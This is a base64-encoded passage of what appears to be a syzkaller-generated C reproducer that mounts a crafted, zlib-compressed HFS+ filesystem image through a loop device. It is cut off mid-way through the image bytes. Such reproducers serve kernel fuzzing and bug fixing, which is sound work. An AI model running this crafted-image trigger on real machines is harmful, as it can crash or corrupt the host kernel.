Ow0KCXJldHVybiBsZWZ0Ow0KfQ0Kc3RhdGljIGludCBwdWZmX2NvZGVzKHN0cnVjdCBwdWZm X3N0YXRlKiBzLA0KCQkgICAgICBjb25zdCBzdHJ1Y3QgcHVmZl9odWZmbWFuKiBsZW5jb2Rl LA0KCQkgICAgICBjb25zdCBzdHJ1Y3QgcHVmZl9odWZmbWFuKiBkaXN0Y29kZSkNCnsNCglz dGF0aWMgY29uc3Qgc2hvcnQgbGVuc1syOV0gPSB7DQoJCQkJICAgICAgIDMsIDQsIDUsIDYs IDcsIDgsIDksIDEwLCAxMSwgMTMsIDE1LCAxNywgMTksIDIzLCAyNywgMzEsDQoJCQkJICAg ICAgIDM1LCA0MywgNTEsIDU5LCA2NywgODMsIDk5LCAxMTUsIDEzMSwgMTYzLCAxOTUsIDIy NywgMjU4fTsNCglzdGF0aWMgY29uc3Qgc2hvcnQgbGV4dFsyOV0gPSB7DQoJCQkJICAgICAg IDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDEsIDEsIDEsIDEsIDIsIDIsIDIsIDIsDQoJCQkJ ICAgICAgIDMsIDMsIDMsIDMsIDQsIDQsIDQsIDQsIDUsIDUsIDUsIDUsIDB9Ow0KCXN0YXRp YyBjb25zdCBzaG9ydCBkaXN0c1szMF0gPSB7DQoJCQkJCTEsIDIsIDMsIDQsIDUsIDcsIDks IDEzLCAxNywgMjUsIDMzLCA0OSwgNjUsIDk3LCAxMjksIDE5MywNCgkJCQkJMjU3LCAzODUs IDUxMywgNzY5LCAxMDI1LCAxNTM3LCAyMDQ5LCAzMDczLCA0MDk3LCA2MTQ1LA0KCQkJCQk4 MTkzLCAxMjI4OSwgMTYzODUsIDI0NTc3fTsNCglzdGF0aWMgY29uc3Qgc2hvcnQgZGV4dFsz MF0gPSB7DQoJCQkJICAgICAgIDAsIDAsIDAsIDAsIDEsIDEsIDIsIDIsIDMsIDMsIDQsIDQs IDUsIDUsIDYsIDYsDQoJCQkJICAgICAgIDcsIDcsIDgsIDgsIDksIDksIDEwLCAxMCwgMTEs IDExLA0KCQkJCSAgICAgICAxMiwgMTIsIDEzLCAxM307DQoJaW50IHN5bWJvbDsNCglkbyB7 DQoJCXN5bWJvbCA9IHB1ZmZfZGVjb2RlKHMsIGxlbmNvZGUpOw0KCQlpZiAoc3ltYm9sIDwg MCkNCgkJCXJldHVybiBzeW1ib2w7DQoJCWlmIChzeW1ib2wgPCAyNTYpIHsNCgkJCWlmIChz LT5vdXRjbnQgPT0gcy0+b3V0bGVuKQ0KCQkJCXJldHVybiAxOw0KCQkJaWYgKHN5bWJvbCkN CgkJCQlzLT5vdXRbcy0+b3V0Y250XSA9IHN5bWJvbDsNCgkJCXMtPm91dGNudCsrOw0KCQl9 IGVsc2UgaWYgKHN5bWJvbCA+IDI1Nikgew0KCQkJc3ltYm9sIC09IDI1NzsNCgkJCWlmIChz eW1ib2wgPj0gMjkpDQoJCQkJcmV0dXJuIC0xMDsNCgkJCWludCBsZW4gPSBsZW5zW3N5bWJv bF0gKyBwdWZmX2JpdHMocywgbGV4dFtzeW1ib2xdKTsNCgkJCXN5bWJvbCA9IHB1ZmZfZGVj b2RlKHMsIGRpc3Rjb2RlKTsNCgkJCWlmIChzeW1ib2wgPCAwKQ0KCQkJCXJldHVybiBzeW1i b2w7DQoJCQl1bnNpZ25lZCBkaXN0ID0gZGlzdHNbc3ltYm9sXSArIHB1ZmZfYml0cyhzLCBk ZXh0W3N5bWJvbF0pOw0KCQkJaWYgKGRpc3QgPiBzLT5vdXRjbnQpDQoJCQkJcmV0dXJuIC0x MTsNCgkJCWlmIChzLT5vdXRjbnQgKyBsZW4gPiBzLT5vdXRsZW4pDQoJCQkJcmV0dXJuIDE7 DQoJCQl3aGlsZSAobGVuLS0pIHsNCgkJCQlpZiAoZGlzdCA8PSBzLT5vdXRjbnQgJiYgcy0+ b3V0W3MtPm91dGNudCAtIGRpc3RdKQ0KCQkJCQlzLT5vdXRbcy0+b3V0Y250XSA9IHMtPm91 dFtzLT5vdXRjbnQgLSBkaXN0XTsNCgkJCQlzLT5vdXRjbnQrKzsNCgkJCX0NCgkJfQ0KCX0g d2hpbGUgKHN5bWJvbCAhPSAyNTYpOw0KCXJldHVybiAwOw0KfQ0Kc3RhdGljIGludCBwdWZm X2ZpeGVkKHN0cnVjdCBwdWZmX3N0YXRlKiBzKQ0Kew0KCXN0YXRpYyBpbnQgdmlyZ2luID0g MTsNCglzdGF0aWMgc2hvcnQgbGVuY250W01BWEJJVFMgKyAxXSwgbGVuc3ltW0ZJWExDT0RF U107DQoJc3RhdGljIHNob3J0IGRpc3RjbnRbTUFYQklUUyArIDFdLCBkaXN0c3ltW01BWERD T0RFU107DQoJc3RhdGljIHN0cnVjdCBwdWZmX2h1ZmZtYW4gbGVuY29kZSwgZGlzdGNvZGU7 DQoJaWYgKHZpcmdpbikgew0KCQlsZW5jb2RlLmNvdW50ID0gbGVuY250Ow0KCQlsZW5jb2Rl LnN5bWJvbCA9IGxlbnN5bTsNCgkJZGlzdGNvZGUuY291bnQgPSBkaXN0Y250Ow0KCQlkaXN0 Y29kZS5zeW1ib2wgPSBkaXN0c3ltOw0KCQlzaG9ydCBsZW5ndGhzW0ZJWExDT0RFU107DQoJ CWludCBzeW1ib2w7DQoJCWZvciAoc3ltYm9sID0gMDsgc3ltYm9sIDwgMTQ0OyBzeW1ib2wr KykNCgkJCWxlbmd0aHNbc3ltYm9sXSA9IDg7DQoJCWZvciAoOyBzeW1ib2wgPCAyNTY7IHN5 bWJvbCsrKQ0KCQkJbGVuZ3Roc1tzeW1ib2xdID0gOTsNCgkJZm9yICg7IHN5bWJvbCA8IDI4 MDsgc3ltYm9sKyspDQoJCQlsZW5ndGhzW3N5bWJvbF0gPSA3Ow0KCQlmb3IgKDsgc3ltYm9s IDwgRklYTENPREVTOyBzeW1ib2wrKykNCgkJCWxlbmd0aHNbc3ltYm9sXSA9IDg7DQoJCXB1 ZmZfY29uc3RydWN0KCZsZW5jb2RlLCBsZW5ndGhzLCBGSVhMQ09ERVMpOw0KCQlmb3IgKHN5 bWJvbCA9IDA7IHN5bWJvbCA8IE1BWERDT0RFUzsgc3ltYm9sKyspDQoJCQlsZW5ndGhzW3N5 bWJvbF0gPSA1Ow0KCQlwdWZmX2NvbnN0cnVjdCgmZGlzdGNvZGUsIGxlbmd0aHMsIE1BWERD T0RFUyk7DQoJCXZpcmdpbiA9IDA7DQoJfQ0KCXJldHVybiBwdWZmX2NvZGVzKHMsICZsZW5j b2RlLCAmZGlzdGNvZGUpOw0KfQ0Kc3RhdGljIGludCBwdWZmX2R5bmFtaWMoc3RydWN0IHB1 ZmZfc3RhdGUqIHMpDQp7DQoJc3RhdGljIGNvbnN0IHNob3J0IG9yZGVyWzE5XSA9DQoJICAg IHsxNiwgMTcsIDE4LCAwLCA4LCA3LCA5LCA2LCAxMCwgNSwgMTEsIDQsIDEyLCAzLCAxMywg MiwgMTQsIDEsIDE1fTsNCglpbnQgbmxlbiA9IHB1ZmZfYml0cyhzLCA1KSArIDI1NzsNCglp bnQgbmRpc3QgPSBwdWZmX2JpdHMocywgNSkgKyAxOw0KCWludCBuY29kZSA9IHB1ZmZfYml0 cyhzLCA0KSArIDQ7DQoJaWYgKG5sZW4gPiBNQVhMQ09ERVMgfHwgbmRpc3QgPiBNQVhEQ09E RVMpDQoJCXJldHVybiAtMzsNCglzaG9ydCBsZW5ndGhzW01BWENPREVTXTsNCglpbnQgaW5k ZXg7DQoJZm9yIChpbmRleCA9IDA7IGluZGV4IDwgbmNvZGU7IGluZGV4KyspDQoJCWxlbmd0 aHNbb3JkZXJbaW5kZXhdXSA9IHB1ZmZfYml0cyhzLCAzKTsNCglmb3IgKDsgaW5kZXggPCAx OTsgaW5kZXgrKykNCgkJbGVuZ3Roc1tvcmRlcltpbmRleF1dID0gMDsNCglzaG9ydCBsZW5j bnRbTUFYQklUUyArIDFdLCBsZW5zeW1bTUFYTENPREVTXTsNCglzdHJ1Y3QgcHVmZl9odWZm bWFuIGxlbmNvZGUgPSB7bGVuY250LCBsZW5zeW19Ow0KCWludCBlcnIgPSBwdWZmX2NvbnN0 cnVjdCgmbGVuY29kZSwgbGVuZ3RocywgMTkpOw0KCWlmIChlcnIgIT0gMCkNCgkJcmV0dXJu IC00Ow0KCWluZGV4ID0gMDsNCgl3aGlsZSAoaW5kZXggPCBubGVuICsgbmRpc3QpIHsNCgkJ aW50IHN5bWJvbDsNCgkJaW50IGxlbjsNCgkJc3ltYm9sID0gcHVmZl9kZWNvZGUocywgJmxl bmNvZGUpOw0KCQlpZiAoc3ltYm9sIDwgMCkNCgkJCXJldHVybiBzeW1ib2w7DQoJCWlmIChz eW1ib2wgPCAxNikNCgkJCWxlbmd0aHNbaW5kZXgrK10gPSBzeW1ib2w7DQoJCWVsc2Ugew0K CQkJbGVuID0gMDsNCgkJCWlmIChzeW1ib2wgPT0gMTYpIHsNCgkJCQlpZiAoaW5kZXggPT0g MCkNCgkJCQkJcmV0dXJuIC01Ow0KCQkJCWxlbiA9IGxlbmd0aHNbaW5kZXggLSAxXTsNCgkJ CQlzeW1ib2wgPSAzICsgcHVmZl9iaXRzKHMsIDIpOw0KCQkJfSBlbHNlIGlmIChzeW1ib2wg PT0gMTcpDQoJCQkJc3ltYm9sID0gMyArIHB1ZmZfYml0cyhzLCAzKTsNCgkJCWVsc2UNCgkJ CQlzeW1ib2wgPSAxMSArIHB1ZmZfYml0cyhzLCA3KTsNCgkJCWlmIChpbmRleCArIHN5bWJv bCA+IG5sZW4gKyBuZGlzdCkNCgkJCQlyZXR1cm4gLTY7DQoJCQl3aGlsZSAoc3ltYm9sLS0p DQoJCQkJbGVuZ3Roc1tpbmRleCsrXSA9IGxlbjsNCgkJfQ0KCX0NCglpZiAobGVuZ3Roc1sy NTZdID09IDApDQoJCXJldHVybiAtOTsNCgllcnIgPSBwdWZmX2NvbnN0cnVjdCgmbGVuY29k ZSwgbGVuZ3Rocywgbmxlbik7DQoJaWYgKGVyciAmJiAoZXJyIDwgMCB8fCBubGVuICE9IGxl bmNvZGUuY291bnRbMF0gKyBsZW5jb2RlLmNvdW50WzFdKSkNCgkJcmV0dXJuIC03Ow0KCXNo b3J0IGRpc3RjbnRbTUFYQklUUyArIDFdLCBkaXN0c3ltW01BWERDT0RFU107DQoJc3RydWN0 IHB1ZmZfaHVmZm1hbiBkaXN0Y29kZSA9IHtkaXN0Y250LCBkaXN0c3ltfTsNCgllcnIgPSBw dWZmX2NvbnN0cnVjdCgmZGlzdGNvZGUsIGxlbmd0aHMgKyBubGVuLCBuZGlzdCk7DQoJaWYg KGVyciAmJiAoZXJyIDwgMCB8fCBuZGlzdCAhPSBkaXN0Y29kZS5jb3VudFswXSArIGRpc3Rj b2RlLmNvdW50WzFdKSkNCgkJcmV0dXJuIC04Ow0KCXJldHVybiBwdWZmX2NvZGVzKHMsICZs ZW5jb2RlLCAmZGlzdGNvZGUpOw0KfQ0Kc3RhdGljIGludCBwdWZmKA0KICAgIHVuc2lnbmVk IGNoYXIqIGRlc3QsDQogICAgdW5zaWduZWQgbG9uZyogZGVzdGxlbiwNCiAgICBjb25zdCB1 bnNpZ25lZCBjaGFyKiBzb3VyY2UsDQogICAgdW5zaWduZWQgbG9uZyBzb3VyY2VsZW4pDQp7 DQoJc3RydWN0IHB1ZmZfc3RhdGUgcyA9IHsNCgkgICAgLm91dCA9IGRlc3QsDQoJICAgIC5v dXRsZW4gPSAqZGVzdGxlbiwNCgkgICAgLm91dGNudCA9IDAsDQoJICAgIC5pbiA9IHNvdXJj ZSwNCgkgICAgLmlubGVuID0gc291cmNlbGVuLA0KCSAgICAuaW5jbnQgPSAwLA0KCSAgICAu Yml0YnVmID0gMCwNCgkgICAgLmJpdGNudCA9IDAsDQoJfTsNCglpbnQgZXJyOw0KCWlmIChz ZXRqbXAocy5lbnYpICE9IDApDQoJCWVyciA9IDI7DQoJZWxzZSB7DQoJCWludCBsYXN0Ow0K CQlkbyB7DQoJCQlsYXN0ID0gcHVmZl9iaXRzKCZzLCAxKTsNCgkJCWludCB0eXBlID0gcHVm Zl9iaXRzKCZzLCAyKTsNCgkJCWVyciA9IHR5cGUgPT0gMCA/IHB1ZmZfc3RvcmVkKCZzKSA6 ICh0eXBlID09IDEgPyBwdWZmX2ZpeGVkKCZzKSA6ICh0eXBlID09IDIgPyBwdWZmX2R5bmFt aWMoJnMpIDogLTEpKTsNCgkJCWlmIChlcnIgIT0gMCkNCgkJCQlicmVhazsNCgkJfSB3aGls ZSAoIWxhc3QpOw0KCX0NCgkqZGVzdGxlbiA9IHMub3V0Y250Ow0KCXJldHVybiBlcnI7DQp9 DQoNCi8vJSBFTkQgQ09ERSBERVJJVkVEIEZST00gcHVmZi57YyxofQ0KDQojZGVmaW5lIFpM SUJfSEVBREVSX1dJRFRIIDINCg0Kc3RhdGljIGludCBwdWZmX3psaWJfdG9fZmlsZShjb25z dCB1bnNpZ25lZCBjaGFyKiBzb3VyY2UsIHVuc2lnbmVkIGxvbmcgc291cmNlbGVuLCBpbnQg ZGVzdF9mZCkNCnsNCglpZiAoc291cmNlbGVuIDwgWkxJQl9IRUFERVJfV0lEVEgpDQoJCXJl dHVybiAwOw0KCXNvdXJjZSArPSBaTElCX0hFQURFUl9XSURUSDsNCglzb3VyY2VsZW4gLT0g WkxJQl9IRUFERVJfV0lEVEg7DQoJY29uc3QgdW5zaWduZWQgbG9uZyBtYXhfZGVzdGxlbiA9 IDEzMiA8PCAyMDsNCgl2b2lkKiByZXQgPSBtbWFwKDAsIG1heF9kZXN0bGVuLCBQUk9UX1dS SVRFIHwgUFJPVF9SRUFELCBNQVBfUFJJVkFURSB8IE1BUF9BTk9OLCAtMSwgMCk7DQoJaWYg KHJldCA9PSBNQVBfRkFJTEVEKQ0KCQlyZXR1cm4gLTE7DQoJdW5zaWduZWQgY2hhciogZGVz dCA9ICh1bnNpZ25lZCBjaGFyKilyZXQ7DQoJdW5zaWduZWQgbG9uZyBkZXN0bGVuID0gbWF4 X2Rlc3RsZW47DQoJaW50IGVyciA9IHB1ZmYoZGVzdCwgJmRlc3RsZW4sIHNvdXJjZSwgc291 cmNlbGVuKTsNCglpZiAoZXJyKSB7DQoJCW11bm1hcChkZXN0LCBtYXhfZGVzdGxlbik7DQoJ CWVycm5vID0gLWVycjsNCgkJcmV0dXJuIC0xOw0KCX0NCglpZiAod3JpdGUoZGVzdF9mZCwg ZGVzdCwgZGVzdGxlbikgIT0gKHNzaXplX3QpZGVzdGxlbikgew0KCQltdW5tYXAoZGVzdCwg bWF4X2Rlc3RsZW4pOw0KCQlyZXR1cm4gLTE7DQoJfQ0KCXJldHVybiBtdW5tYXAoZGVzdCwg bWF4X2Rlc3RsZW4pOw0KfQ0KDQpzdGF0aWMgaW50IHNldHVwX2xvb3BfZGV2aWNlKHVuc2ln bmVkIGNoYXIqIGRhdGEsIHVuc2lnbmVkIGxvbmcgc2l6ZSwgY29uc3QgY2hhciogbG9vcG5h bWUsIGludCogbG9vcGZkX3ApDQp7DQoJaW50IGVyciA9IDAsIGxvb3BmZCA9IC0xOw0KCWlu dCBtZW1mZCA9IHN5c2NhbGwoX19OUl9tZW1mZF9jcmVhdGUsICJzeXprYWxsZXIiLCAwKTsN CglpZiAobWVtZmQgPT0gLTEpIHsNCgkJZXJyID0gZXJybm87DQoJCWdvdG8gZXJyb3I7DQoJ fQ0KCWlmIChwdWZmX3psaWJfdG9fZmlsZShkYXRhLCBzaXplLCBtZW1mZCkpIHsNCgkJZXJy ID0gZXJybm87DQoJCWdvdG8gZXJyb3JfY2xvc2VfbWVtZmQ7DQoJfQ0KCWxvb3BmZCA9IG9w ZW4obG9vcG5hbWUsIE9fUkRXUik7DQoJaWYgKGxvb3BmZCA9PSAtMSkgew0KCQllcnIgPSBl cnJubzsNCgkJZ290byBlcnJvcl9jbG9zZV9tZW1mZDsNCgl9DQoJaWYgKGlvY3RsKGxvb3Bm ZCwgTE9PUF9TRVRfRkQsIG1lbWZkKSkgew0KCQlpZiAoZXJybm8gIT0gRUJVU1kpIHsNCgkJ CWVyciA9IGVycm5vOw0KCQkJZ290byBlcnJvcl9jbG9zZV9sb29wOw0KCQl9DQoJCWlvY3Rs KGxvb3BmZCwgTE9PUF9DTFJfRkQsIDApOw0KCQl1c2xlZXAoMTAwMCk7DQoJCWlmIChpb2N0 bChsb29wZmQsIExPT1BfU0VUX0ZELCBtZW1mZCkpIHsNCgkJCWVyciA9IGVycm5vOw0KCQkJ Z290byBlcnJvcl9jbG9zZV9sb29wOw0KCQl9DQoJfQ0KCWNsb3NlKG1lbWZkKTsNCgkqbG9v cGZkX3AgPSBsb29wZmQ7DQoJcmV0dXJuIDA7DQoNCmVycm9yX2Nsb3NlX2xvb3A6DQoJY2xv c2UobG9vcGZkKTsNCmVycm9yX2Nsb3NlX21lbWZkOg0KCWNsb3NlKG1lbWZkKTsNCmVycm9y Og0KCWVycm5vID0gZXJyOw0KCXJldHVybiAtMTsNCn0NCg0Kc3RhdGljIHZvaWQgcmVzZXRf bG9vcF9kZXZpY2UoY29uc3QgY2hhciogbG9vcG5hbWUpDQp7DQoJaW50IGxvb3BmZCA9IG9w ZW4obG9vcG5hbWUsIE9fUkRXUik7DQoJaWYgKGxvb3BmZCA9PSAtMSkgew0KCQlyZXR1cm47 DQoJfQ0KCWlmIChpb2N0bChsb29wZmQsIExPT1BfQ0xSX0ZELCAwKSkgew0KCX0NCgljbG9z ZShsb29wZmQpOw0KfQ0KDQpzdGF0aWMgbG9uZyBzeXpfbW91bnRfaW1hZ2UoDQogICAgdm9s YXRpbGUgbG9uZyBmc2FyZywNCiAgICB2b2xhdGlsZSBsb25nIGRpciwNCiAgICB2b2xhdGls ZSBsb25nIGZsYWdzLA0KICAgIHZvbGF0aWxlIGxvbmcgb3B0c2FyZywNCiAgICB2b2xhdGls ZSBsb25nIGNoYW5nZV9kaXIsDQogICAgdm9sYXRpbGUgdW5zaWduZWQgbG9uZyBzaXplLA0K ICAgIHZvbGF0aWxlIGxvbmcgaW1hZ2UpDQp7DQoJdW5zaWduZWQgY2hhciogZGF0YSA9ICh1 bnNpZ25lZCBjaGFyKilpbWFnZTsNCglpbnQgcmVzID0gLTEsIGVyciA9IDAsIG5lZWRfbG9v cF9kZXZpY2UgPSAhIXNpemU7DQoJY2hhciogbW91bnRfb3B0cyA9IChjaGFyKilvcHRzYXJn Ow0KCWNoYXIqIHRhcmdldCA9IChjaGFyKilkaXI7DQoJY2hhciogZnMgPSAoY2hhciopZnNh cmc7DQoJY2hhciogc291cmNlID0gTlVMTDsNCgljaGFyIGxvb3BuYW1lWzY0XTsNCglpZiAo bmVlZF9sb29wX2RldmljZSkgew0KCQlpbnQgbG9vcGZkOw0KCQltZW1zZXQobG9vcG5hbWUs IDAsIHNpemVvZihsb29wbmFtZSkpOw0KCQlzbnByaW50Zihsb29wbmFtZSwgc2l6ZW9mKGxv b3BuYW1lKSwgIi9kZXYvbG9vcCVsbHUiLCBwcm9jaWQpOw0KCQlpZiAoc2V0dXBfbG9vcF9k ZXZpY2UoZGF0YSwgc2l6ZSwgbG9vcG5hbWUsICZsb29wZmQpID09IC0xKQ0KCQkJcmV0dXJu IC0xOw0KCQljbG9zZShsb29wZmQpOw0KCQlzb3VyY2UgPSBsb29wbmFtZTsNCgl9DQoJbWtk aXIodGFyZ2V0LCAwNzc3KTsNCgljaGFyIG9wdHNbMjU2XTsNCgltZW1zZXQob3B0cywgMCwg c2l6ZW9mKG9wdHMpKTsNCglpZiAoc3RybGVuKG1vdW50X29wdHMpID4gKHNpemVvZihvcHRz KSAtIDMyKSkgew0KCX0NCglzdHJuY3B5KG9wdHMsIG1vdW50X29wdHMsIHNpemVvZihvcHRz KSAtIDMyKTsNCglpZiAoc3RyY21wKGZzLCAiaXNvOTY2MCIpID09IDApIHsNCgkJZmxhZ3Mg fD0gTVNfUkRPTkxZOw0KCX0gZWxzZSBpZiAoc3RybmNtcChmcywgImV4dCIsIDMpID09IDAp IHsNCgkJYm9vbCBoYXNfcmVtb3VudF9ybyA9IGZhbHNlOw0KCQljaGFyKiByZW1vdW50X3Jv X3N0YXJ0ID0gc3Ryc3RyKG9wdHMsICJlcnJvcnM9cmVtb3VudC1ybyIpOw0KCQlpZiAocmVt b3VudF9yb19zdGFydCAhPSBOVUxMKSB7DQoJCQljaGFyIGFmdGVyID0gKihyZW1vdW50X3Jv X3N0YXJ0ICsgc3RybGVuKCJlcnJvcnM9cmVtb3VudC1ybyIpKTsNCgkJCWNoYXIgYmVmb3Jl ID0gcmVtb3VudF9yb19zdGFydCA9PSBvcHRzID8gJ1wwJyA6ICoocmVtb3VudF9yb19zdGFy dCAtIDEpOw0KCQkJaGFzX3JlbW91bnRfcm8gPSAoKGJlZm9yZSA9PSAnXDAnIHx8IGJlZm9y ZSA9PSAnLCcpICYmIChhZnRlciA9PSAnXDAnIHx8IGFmdGVyID09ICcsJykpOw0KCQl9DQoJ CWlmIChzdHJzdHIob3B0cywgImVycm9ycz1wYW5pYyIpIHx8ICFoYXNfcmVtb3VudF9ybykN CgkJCXN0cmNhdChvcHRzLCAiLGVycm9ycz1jb250aW51ZSIpOw0KCX0gZWxzZSBpZiAoc3Ry Y21wKGZzLCAieGZzIikgPT0gMCkgew0KCQlzdHJjYXQob3B0cywgIixub3V1aWQiKTsNCgl9 DQoJcmVzID0gbW91bnQoc291cmNlLCB0YXJnZXQsIGZzLCBmbGFncywgb3B0cyk7DQoJaWYg KHJlcyA9PSAtMSkgew0KCQllcnIgPSBlcnJubzsNCgkJZ290byBlcnJvcl9jbGVhcl9sb29w Ow0KCX0NCglyZXMgPSBvcGVuKHRhcmdldCwgT19SRE9OTFkgfCBPX0RJUkVDVE9SWSk7DQoJ aWYgKHJlcyA9PSAtMSkgew0KCQllcnIgPSBlcnJubzsNCgkJZ290byBlcnJvcl9jbGVhcl9s b29wOw0KCX0NCglpZiAoY2hhbmdlX2Rpcikgew0KCQlyZXMgPSBjaGRpcih0YXJnZXQpOw0K CQlpZiAocmVzID09IC0xKSB7DQoJCQllcnIgPSBlcnJubzsNCgkJfQ0KCX0NCg0KZXJyb3Jf Y2xlYXJfbG9vcDoNCglpZiAobmVlZF9sb29wX2RldmljZSkNCgkJcmVzZXRfbG9vcF9kZXZp Y2UobG9vcG5hbWUpOw0KCWVycm5vID0gZXJyOw0KCXJldHVybiByZXM7DQp9DQoNCmludCBt YWluKHZvaWQpDQp7DQoJCXN5c2NhbGwoX19OUl9tbWFwLCAvKmFkZHI9Ki8weDNmZmZmZmZm ZjAwMHVsLCAvKmxlbj0qLzB4MTAwMHVsLCAvKnByb3Q9Ki8wdWwsIC8qZmxhZ3M9TUFQX0ZJ WEVEfE1BUF9BTk9OWU1PVVN8TUFQX1BSSVZBVEUqLzB4MzJ1bCwgLypmZD0qLy0xLCAvKm9m ZnNldD0qLzB1bCk7DQoJc3lzY2FsbChfX05SX21tYXAsIC8qYWRkcj0qLzB4NDAwMDAwMDAw MDAwdWwsIC8qbGVuPSovMHgxMDAwMDAwdWwsIC8qcHJvdD1QUk9UX1dSSVRFfFBST1RfUkVB RHxQUk9UX0VYRUMqLzd1bCwgLypmbGFncz1NQVBfRklYRUR8TUFQX0FOT05ZTU9VU3xNQVBf UFJJVkFURSovMHgzMnVsLCAvKmZkPSovLTEsIC8qb2Zmc2V0PSovMHVsKTsNCglzeXNjYWxs KF9fTlJfbW1hcCwgLyphZGRyPSovMHg0MDAwMDEwMDAwMDB1bCwgLypsZW49Ki8weDEwMDB1 bCwgLypwcm90PSovMHVsLCAvKmZsYWdzPU1BUF9GSVhFRHxNQVBfQU5PTllNT1VTfE1BUF9Q UklWQVRFKi8weDMydWwsIC8qZmQ9Ki8tMSwgLypvZmZzZXQ9Ki8wdWwpOw0KCWNvbnN0IGNo YXIqIHJlYXNvbjsNCgkodm9pZClyZWFzb247DQoJCQkJaWYgKHdyaXRlKDEsICJleGVjdXRp bmcgcHJvZ3JhbVxuIiwgc2l6ZW9mKCJleGVjdXRpbmcgcHJvZ3JhbVxuIikgLSAxKSkge30N Cm1lbWNweSgodm9pZCopMHg0MDAwMDAwMDA2MDAsICJoZnNwbHVzXDAwMCIsIDgpOw0KbWVt Y3B5KCh2b2lkKikweDQwMDAwMDAwMDIwMCwgIi4vYnVzXDAwMCIsIDYpOw0KbWVtY3B5KCh2 b2lkKikweDQwMDAwMDAwMDY0MCwgIlx4NzhceDljXHhlY1x4ZGRceGNmXHg2Zlx4MWNceDY3 XHhmZFx4MDdceGYwXHhmN1x4YWNceDFkXHgyN1x4OWJceDZmXHhiZlx4YWVceDliXHgyNlx4 NmRceDhhXHgyYVx4ZDVceDZhXHgyNFx4NDBceDU4XHgyNFx4ZmVceDIxXHgxN1x4Y2NceDg1 XHg4MFx4MTBceGYyXHhhMVx4NDJceDU1XHgzOVx4NzBceGI2XHgxMlx4YTdceGIxXHhiMlx4 NDlceDhiXHhlZFx4MjJceGI3XHg0Mlx4ZDRceGZjXHhiZVx4ZjZceGQwXHgzZlx4YTBceDFj XHg3Y1x4ZTNceDgwXHg5MFx4YjhceDQ3XHgyYVx4MTdceDJlXHgyMFx4MmVceGJkXHhmYVx4 NThceDA5XHg4OVx4NGJceDJmXHg5OFx4ZDNceGEyXHg5OVx4OWRceGI1XHgzN1x4ZmVceGQ1 XHg3NVx4NzFceGJjXHg5Ylx4ZjJceDdhXHg0NVx4YjNceGNmXHgzM1x4ZjNceGNjXHgzY1x4 Y2ZceGU3XHhmOVx4Y2NceGNlXHhjZVx4ZWVceDQ2XHhkNlx4MDZceGY4XHg5Zlx4YjVceDM4 XHg5NVx4ZDFceDg3XHgyOVx4YjJceDM4XHhmNVx4ZWFceDQ2XHhiOVx4YmVceGJkXHgzNVx4 ZDdceGRhXHhkZVx4OWFceGJiXHhkZlx4YWRceDI3XHgzOVx4OWZceGE0XHg5MVx4OGNceDc2 XHg4YVx4MTRceGZmXHg2YVx4YjdceGRiXHgxZlx4MjVceDM3XHhkM1x4NTlceGYyXHg0Mlx4 YjlceGIxXHhlZVx4YWVceDM4XHg2YVx4OWNceDBmXHg1Nlx4MTZceDVlXHhmZlx4ZjhceGQz XHhlZFx4NGZceDNhXHg2Ylx4YTNceGY1XHg1Mlx4ZWRceGRmXHgzOFx4ZWVceGI4XHhmZVx4 NmNceGQ2XHg0Ylx4MjZceDkzXHg4Y1x4ZDRceDY1XHhmZlx4MGVceDhjXHhmZVx4NDhceDdm XHhiN1x4NGVceGRjXHhkZlx4NjFceGZkXHg3N1x4YzZceDI4XHgxM1x4NzZceGFkXHg5Ylx4 MzhceDE4XHhiNFx4NzNceDQ5XHhkYVx4OGZceGY4XHhmMVx4NWZceDllXHhkYVx4NmRceGU5 XHhkMVx4M2NceGVjXHhlOFx4MGJceDY3XHgxMlx4MjNceGYwXHg3OFx4MTVceDlkXHhmYlx4 ZTZceDAxXHgxM1x4YzlceGM1XHhmYVx4NDJceDJmXHhkZlx4MDdceDc0XHhlZVx4OGFceDlk XHg3Ylx4ZjZceDEzXHg2ZFx4NzNceGQwXHgwMVx4MDBceDAwXHgwMFx4YzBceDE5XHg3OFx4 N2FceDI3XHgzYlx4ZDlceGM4XHhmOFx4YTBceGUzXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHg4MFx4MjdceDQ5XHhmZFx4ZmJceGZm XHg0NVx4YmRceDM0XHhiYVx4ZjVceGM5XHgxNFx4ZGRceGRmXHhmZlx4MWZceGFiXHhiN1x4 YTVceGFlXHgwZlx4OTdceDk3XHg0ZVx4YjZceGZiXHhjM1x4YzdceDE1XHgwN1x4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDljXHhhMVx4OTdceDc2XHhiMlx4OTNceDhkXHg4Y1x4 MjdceDliXHhkNVx4N2FceGJiXHhhOFx4ZmVceGNmXHhmZlx4ZTVceDZhXHhlNVx4NzJceGY1 XHhmOFx4N2ZceDc5XHgzYlx4NmJceDU5XHhjZVx4NmFceGFlXHg2N1x4MjNceDRiXHg1OVx4 Y2ZceDdhXHg1Nlx4MzNceDkzXHg2NFx4YTJceGE3XHhhM1x4YjFceDhkXHhhNVx4ZjVceGY1 XHhkNVx4OTlceDNlXHg4ZVx4OWNceDNkXHhmNFx4YzhceGQ5XHhjZlx4MDhceGY0XHg3Y1x4 NWRceDM2XHg0Zlx4NmRceGVhXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ZjBceDQ1 XHhmMlx4OGJceDJjXHg2Nlx4N2NceGQwXHg0MVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw XHg0MFx4YWZceDIyXHgxOVx4ZTlceDE0XHhkNVx4NzJceGI5XHg1Ylx4OWZceDQ4XHg2M1x4 MzRceGM5XHg4NVx4MjRceDYzXHhlNVx4N2VceDliXHhjOVx4ZGZceGJhXHhmNVx4MjdceGQ5 XHhjM1x4NDFceDA3XHgwMFx4MDBceDAwXHgwMFx4NjdceGUwXHhlOVx4OWRceGVjXHg2NFx4 